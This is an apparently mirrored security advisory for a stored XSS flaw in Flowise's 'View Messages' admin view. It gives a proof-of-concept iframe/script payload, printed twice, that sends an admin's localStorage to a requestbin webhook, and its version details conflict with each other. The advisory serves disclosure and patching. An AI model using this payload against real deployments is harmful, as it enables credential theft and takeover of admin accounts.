Skip to content
FlowiseGHSA-964p-j4gg-mhwc

Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel

Critical9.3CVE-2025-50538 · Published Oct 3, 2025 · updated Jul 8, 2026

### Summary A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`. --- ### Details The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc="...">` can include arbitrary JavaScript, which is executed when the message is rendered. --- ### PoC 1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website). 2. Send the following payload via the agent's chat interface: ```html <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> ``` 3. As an admin, go to the workflow and click **"View Messages"**. 4. The JavaScript is executed in the admin's browser, exfiltrating `localStorage` content to the attacker-controlled webhook endpoint. --- ### Impact - **Type:** Stored Cross-S...

GitHub advisory

Affected versions

PackageAffectedFixed in
flowise
npm
< 3.0.83.0.8
Details and references

### Summary A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`. --- ### Details The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc="...">` can include arbitrary JavaScript, which is executed when the message is rendered. --- ### PoC 1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website). 2. Send the following payload via the agent's chat interface: ```html <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> ``` 3. As an admin, go to the workflow and click **"View Messages"**. 4. The JavaScript is executed in the admin's browser, exfiltrating `localStorage` content to the attacker-controlled webhook endpoint. --- ### Impact - **Type:** Stored Cross-Site Scripting (XSS) - **Who is impacted:** Any admin viewing messages in the FlowiseAI UI - **Data at risk:** Admin credentials, or sensitive info stored in `localStorage` - **Severity:** High (Account takeover, admin privilege escalation, full panel compromise) --- ### Affected Products - **Ecosystem:** `npm` - **Package name:** `flowise` - **Affected versions:** `< 2.2.7` - **Patched versions:**`1`

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-79
Also known as
CVE-2025-50538

More Flowise advisories

All Flowise
Advisory
Flowise is vulnerable to arbitrary file exposure through its ReadFileTool
High7.7Oct 10, 2025
Flowise is vulnerable to arbitrary file write through its WriteFileTool
Critical9.9Oct 9, 2025
FlowiseAI/Flosise has File Upload vulnerability
High8.3Oct 8, 2025
Flowise vulnerable to RCE via Dynamic function constructor injection
Critical9.8Oct 6, 2025
Flowise Stored XSS vulnerability through logs in chatbot
Medium5.3Oct 3, 2025
Flowise vulnerable to XSS
MediumOct 3, 2025

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.